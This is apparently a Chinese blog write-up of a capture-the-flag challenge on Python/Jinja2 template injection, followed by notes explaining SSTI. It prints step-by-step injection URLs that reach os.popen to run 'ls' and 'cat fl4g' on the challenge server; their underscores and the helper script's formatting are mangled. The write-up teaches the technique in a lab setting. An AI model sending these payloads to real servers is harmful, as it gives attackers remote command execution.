当前位置: 首页 > news >正文

攻防世界web第十题Web_python_template_injection

在这里插入图片描述
这是题目,从题目上看是一个python模板注入类型的题目。
首先测试是否存在模板注入漏洞,构造http://61.147.171.105:57423/{{config}}
得到
在这里插入图片描述
说明存在模板注入漏洞,继续注入
构造http://61.147.171.105:57423/{{‘’.class.mro}}:
得到在这里插入图片描述
再构造http://61.147.171.105:57423/{{‘’.class.mro[2].subclasses()}}:
在这里插入图片描述
编写脚本找到类索引,

text = "<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>"new_text = text.split(",")
index = 0
for i in new_text:index += 1
print(index - 1)  #数组索引从0开始

运行得到索引值为71,在这里插入图片描述
再构造http://61.147.171.105:57423/{{‘’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘ls’).read()}}
得到在这里插入图片描述
最后构造http://61.147.171.105:57423/{{‘’.class.mro[2].subclasses()[71].init.globals[‘os’].popen(‘cat fl4g’).read()}}
得到flag在这里插入图片描述
总结:本质上就是通过模板注入代码获取所需信息。

知识点:
1.SSTI(Server-Side Template Injection)是一种发生在服务器端模板中的漏洞。当应用程序接受用户输入并将其直接传递到模板引擎中进行解析时,如果未对用户输入进行充分的验证和过滤,攻击者可以通过构造恶意的输入来注入模板代码,导致服务器端模板引擎执行恶意代码。

SSTI漏洞利用基本流程
获取当前类 -> 获取其object基类 -> 获取所有子类 -> 获取可执行shell命令的子类 -> 获取可执行shell命令的方法 -> 执行shell命令.

SSTI漏洞原理
服务端接收攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。

渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4。因此才有了现在的模板注入漏洞。往往变量我们使用{{恶意代码}}。正因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞.

实际上就是我们传到后台的数据会被后台获取数据并执行。本质上是后台代码解析前端传过来的数据的时候没有进行处理导致我们用{{}}传进来的恶意命令被动态渲染,从而产生了这样的问题。

class #返回type类型,查看对象的类型
bases #返回tuple类型,列出该类的基类
mro #返回tuple类型,给出解析方法调用的顺序
subclasses() #返回内建方法builtin_function_or_method,获取一个类的子类
globals #返回dict类型,对函数进行操作,获取当前空间下能使用的模块、方法、变量,
init 类的初始化方法
popen函数是用来执行系统命令的

相关文章:

攻防世界web第十题Web_python_template_injection

这是题目&#xff0c;从题目上看是一个python模板注入类型的题目。 首先测试是否存在模板注入漏洞&#xff0c;构造http://61.147.171.105:57423/{{config}} 得到 说明存在模板注入漏洞&#xff0c;继续注入 构造http://61.147.171.105:57423/{{‘’.class.mro}}: 得到 再构造…...

vmware 修改Ubuntu终端字体大小

1. 2、 3、 4、 5、 6、点击select...

API 设计:从基础到最佳实践

https://levelup.gitconnected.com/api-design-101-from-basics-to-best-practices-a0261cdf8886 在本次深入研究中&#xff0c;我们将从基础开始&#xff0c;逐步了解 API 设计&#xff0c;并逐步实现定义卓越 API 的最佳实践。 作为开发人员&#xff0c;您可能熟悉其中的许多…...

ROUGE指标在自然语言处理中的应用:从理论到实践

引言 你是否曾经遇到过机器生成的文本摘要与原文内容不符的情况&#xff1f;或者在使用机器翻译时&#xff0c;发现译文虽然“看起来”正确&#xff0c;但语义却与原文相差甚远&#xff1f;在自然语言处理&#xff08;NLP&#xff09;领域&#xff0c;如何科学地评估生成文本的…...

GraalVM:云原生时代的Java虚拟机

1. 概述 GraalVM是由Oracle公司开发的一款高性能、多语言的虚拟机平台。它不仅兼容传统的JVM字节码执行&#xff0c;还引入了即时编译&#xff08;JIT&#xff09;技术的革新&#xff0c;以及对多种编程语言的支持。GraalVM旨在通过提供更高效的执行环境来满足云计算环境中日益…...

Linux 信号集与信号掩码

目录 一、引言 二、信号集是什么 三、信号集关键函数 1.信号集的创建与初始化 2.信号的添加与删除 3.信号集的阻塞与解除阻塞 四、信号集实际应用场景 五、信号掩码的作用 六、信号掩码相关函数 1.sigprocmask 函数 2.sigemptyset 和 sigfillset 函数 七、信号掩码注…...

如何设置Edge浏览器访问软件

使用Edge浏览器访问分销ERP A\V系列软件时会出现各种报错&#xff0c;如何设置Edge浏览器使其正常访问&#xff0c;请看下面的具体操作。 一、打开Edge浏览器&#xff0c;点击右上角的 设置及其他&#xff0c;如图&#xff1a; 二、在弹出界面中&#xff0c;点击 扩展&#xff…...

DL笔记:旋转编码RoPE

1 背景 由于计算资源限制&#xff0c;目前的LLM大多在较短的上下文长度中进行训练&#xff0c;在推理中&#xff0c;如果超出预训练的长度&#xff0c;模型的性能将会显著降低 ——>需要一个可提供外推性的位置编码最经典的绝对位置编码就是原始Transformer中的那个sinusoi…...

C语言自定义类型与文件操作

构造类型 枚举类型 若定义不相关的常量使用宏定义&#xff1b;若定义一组相关的常量使用枚举。switch中case后访问的就是枚举。 定义&#xff1a; 我们一般情况下定义常量使用宏定义(#define)&#xff0c;宏定义适合没有关联关系的常量&#xff1b;但有时需要对一组有关联关系…...

《计算机网络A》单选题-复习题库解析-3

目录 106、MAN通常是指&#xff08; &#xff09; 107、下列因素中&#xff0c;不会影响信道数据传输速率的是&#xff08; &#xff09; 108、以太网交换机进行转发决策时使用的PDU地址是&#xff08; &#xff09; 109、下列机制中&#xff0c;可以解决因数据帧丢失而…...

VM虚拟机配置ubuntu网络

目录 桥接模式 NAT模式 桥接模式 特点&#xff1a;ubuntu的IP地址与主机IP的ip地址不同 第一部分&#xff1a;VM虚拟机给ubuntu的网络适配器&#xff0c;调为桥接模式 第二部分&#xff1a;保证所桥接的网络可以上网 第三部分&#xff1a;ubuntu使用DHCP&#xff08;默认&…...

【每日学点鸿蒙知识】Web高度适配、变量声明规范、动画取消、签名文件、包体积优化相关

1、HarmonyOS Web页面高度适配&#xff1f; 在Web页面设置高度100%时&#xff0c;发现和Web控件的高度不一致&#xff0c;这个需要设置什么可以达到页面高度和Web容器高度一致 目前只支持两种web布局模式&#xff0c;分别为Web布局跟随系统WebLayoutMode.NONE和Web基于页面大…...

uniapp使用ucharts组件

1.ucharts准备 有两种使用方式&#xff1a;一种是在uni的插件市场下载&#xff08;组件化开发&#xff09;。一种是手动引入ucharts包。官方都封装好组件了&#xff0c;我们不用岂不是浪费。 直接去dcloud插件市场&#xff08;DCloud 插件市场&#xff09;找&#xff0c;第一…...

LabVIEW工程师的未来发展

对于LabVIEW工程师以及更广义的编程从业者&#xff08;包括“高级民工”码农&#xff09;来说&#xff0c;随着AI技术和软件编程的逐步成熟&#xff0c;确实面临一些新的挑战和机遇。以下是对此问题的深入分析和未来方向的建议&#xff1a; 现状分析&#xff1a;技术过剩与竞争…...

java的bio、nio、aio 以及操作系统的select、poll、epoll

在 Java 和其他编程语言中&#xff0c;I/O 模型的选择对网络应用的性能和可扩展性有着重要影响。以下是 BIO&#xff08;Blocking I/O&#xff09;、NIO&#xff08;Non-blocking I/O&#xff09;、AIO&#xff08;Asynchronous I/O&#xff09;&#xff0c;以及操作系统级别的…...

2024 年发布的 Android AI 手机都有什么功能?

大家好&#xff0c;我是拭心。 2024 年是 AI 快速发展的一年&#xff0c;这一年 AI 再获诺贝尔奖&#xff0c;微软/苹果/谷歌等巨头纷纷拥抱 AI&#xff0c;多款强大的 AI 手机进入我们的生活。 今年全球 16% 的智能手机出货量为 AI 手机&#xff0c;到 2028 年&#xff0c;这…...

RLHF,LM模型

LLM(Large Language Model) RLHF(Reinforcement Learning from Human Feedback),即以强化学习方式依据人类反馈优化语言模型。 RLHF思想:使用强化学习的方式直接优化带有人类反馈的语言模型。RLHF使得在一般文本数据语料库上训练的语言模型能与复杂的人类价值观对齐。 R…...

【机器学习】工业 4.0 下机器学习如何驱动智能制造升级

我的个人主页 我的领域&#xff1a;人工智能篇&#xff0c;希望能帮助到大家&#xff01;&#xff01;&#xff01;&#x1f44d;点赞 收藏❤ 随着科技的飞速发展&#xff0c;工业 4.0 浪潮正席卷全球制造业&#xff0c;而机器学习作为这一变革中的关键技术&#xff0c;正以前…...

REST与RPC的对比:从性能到扩展性的全面分析

在微服务架构中&#xff0c;服务间通信是核心问题之一。常见的两种通信方式是REST&#xff08;Representational State Transfer&#xff09;和RPC&#xff08;Remote Procedure Call&#xff09;。它们各有优缺点&#xff0c;适用于不同场景。本文将从性能、扩展性、兼容性和开…...

MATLAB中将MAT文件转换为Excel文件

MATLAB中将MAT文件转换为Excel文件 MATLAB提供了多种方法将MAT文件中的数据导出到Excel文件中。下面介绍几种常用的方法&#xff1a; 1. 使用 writetable 函数 优点&#xff1a; 功能强大&#xff0c;可以灵活控制输出格式。用法&#xff1a; data load(your_data.mat); …...

超短脉冲激光自聚焦效应

前言与目录 强激光引起自聚焦效应机理 超短脉冲激光在脆性材料内部加工时引起的自聚焦效应&#xff0c;这是一种非线性光学现象&#xff0c;主要涉及光学克尔效应和材料的非线性光学特性。 自聚焦效应可以产生局部的强光场&#xff0c;对材料产生非线性响应&#xff0c;可能…...

在Ubuntu中设置开机自动运行(sudo)指令的指南

在Ubuntu系统中&#xff0c;有时需要在系统启动时自动执行某些命令&#xff0c;特别是需要 sudo权限的指令。为了实现这一功能&#xff0c;可以使用多种方法&#xff0c;包括编写Systemd服务、配置 rc.local文件或使用 cron任务计划。本文将详细介绍这些方法&#xff0c;并提供…...

Psychopy音频的使用

Psychopy音频的使用 本文主要解决以下问题&#xff1a; 指定音频引擎与设备&#xff1b;播放音频文件 本文所使用的环境&#xff1a; Python3.10 numpy2.2.6 psychopy2025.1.1 psychtoolbox3.0.19.14 一、音频配置 Psychopy文档链接为Sound - for audio playback — Psy…...

《C++ 模板》

目录 函数模板 类模板 非类型模板参数 模板特化 函数模板特化 类模板的特化 模板&#xff0c;就像一个模具&#xff0c;里面可以将不同类型的材料做成一个形状&#xff0c;其分为函数模板和类模板。 函数模板 函数模板可以简化函数重载的代码。格式&#xff1a;templa…...

学习一下用鸿蒙​​DevEco Studio HarmonyOS5实现百度地图

在鸿蒙&#xff08;HarmonyOS5&#xff09;中集成百度地图&#xff0c;可以通过以下步骤和技术方案实现。结合鸿蒙的分布式能力和百度地图的API&#xff0c;可以构建跨设备的定位、导航和地图展示功能。 ​​1. 鸿蒙环境准备​​ ​​开发工具​​&#xff1a;下载安装 ​​De…...

数据结构:递归的种类(Types of Recursion)

目录 尾递归&#xff08;Tail Recursion&#xff09; 什么是 Loop&#xff08;循环&#xff09;&#xff1f; 复杂度分析 头递归&#xff08;Head Recursion&#xff09; 树形递归&#xff08;Tree Recursion&#xff09; 线性递归&#xff08;Linear Recursion&#xff09;…...

【Post-process】【VBA】ETABS VBA FrameObj.GetNameList and write to EXCEL

ETABS API实战:导出框架元素数据到Excel 在结构工程师的日常工作中,经常需要从ETABS模型中提取框架元素信息进行后续分析。手动复制粘贴不仅耗时,还容易出错。今天我们来用简单的VBA代码实现自动化导出。 🎯 我们要实现什么? 一键点击,就能将ETABS中所有框架元素的基…...

DiscuzX3.5发帖json api

参考文章&#xff1a;PHP实现独立Discuz站外发帖(直连操作数据库)_discuz 发帖api-CSDN博客 简单改造了一下&#xff0c;适配我自己的需求 有一个站点存在多个采集站&#xff0c;我想通过主站拿标题&#xff0c;采集站拿内容 使用到的sql如下 CREATE TABLE pre_forum_post_…...

倒装芯片凸点成型工艺

UBM&#xff08;Under Bump Metallization&#xff09;与Bump&#xff08;焊球&#xff09;形成工艺流程。我们可以将整张流程图分为三大阶段来理解&#xff1a; &#x1f527; 一、UBM&#xff08;Under Bump Metallization&#xff09;工艺流程&#xff08;黄色区域&#xff…...

从零手写Java版本的LSM Tree (一):LSM Tree 概述

&#x1f525; 推荐一个高质量的Java LSM Tree开源项目&#xff01; https://github.com/brianxiadong/java-lsm-tree java-lsm-tree 是一个从零实现的Log-Structured Merge Tree&#xff0c;专为高并发写入场景设计。 核心亮点&#xff1a; ⚡ 极致性能&#xff1a;写入速度超…...